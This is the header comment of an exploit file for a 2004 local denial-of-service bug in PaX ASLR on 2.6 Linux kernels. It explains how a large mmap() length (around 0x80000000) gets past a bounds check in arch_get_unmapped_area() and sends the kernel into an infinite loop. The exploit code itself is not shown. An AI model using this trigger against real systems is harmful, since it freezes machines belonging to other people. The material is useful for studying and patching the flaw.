/*
source: https://www.securityfocus.com/bid/10264/info

PaX for 2.6 series Linux kernels has been reported prone to a local denial of service vulnerability. The issue is reported to present itself when PaX Address Space Layout Randomization Layout (ASLR) is enabled. 

The vulnerability may be exploited by a local attacker to influence the kernel into an infinite loop.

  Vulnerability:
    PaX code for 2.6.x prior to 2004-05-01 in arch_get_unmapped_area()
    (function in mm/mmap.c) is vulnerable to a local Denial of Service attack
    because of a bug that puts the kernel into an infinite loop.

    Read the security advisory for more info:
    http://www.securityfocus.com/archive/1/361968/2004-04-30/2004-05-06/0


  Exploitation:
    We need to get passed the following line of code in
    arch_get_unmapped_area() to succeed with a DoS:
        if (TASK_SIZE - len < addr) { ...

    We do it like this:

    TASK_SIZE - TYPICAL_ADDR + SINK = DOSVAL

    DOSVAL is the value we'll use.

    arch_get_unmapped_area() does the following:

    if TASK_SIZE-DOSVAL < TYPICAL_ADDR then... run right into the vuln code.
    (TASK_SIZE-DOSVAL) *must* be less than TYPICAL_ADDR to succeed.

    A DOSVAL of e.g. 0x80000000 or above will work most times, no real need
    for the funky calculation above.

    There are quite a few functions available that are "front-ends" to
    arch_get_unmapped_area(). This exploit uses good-old mmap().
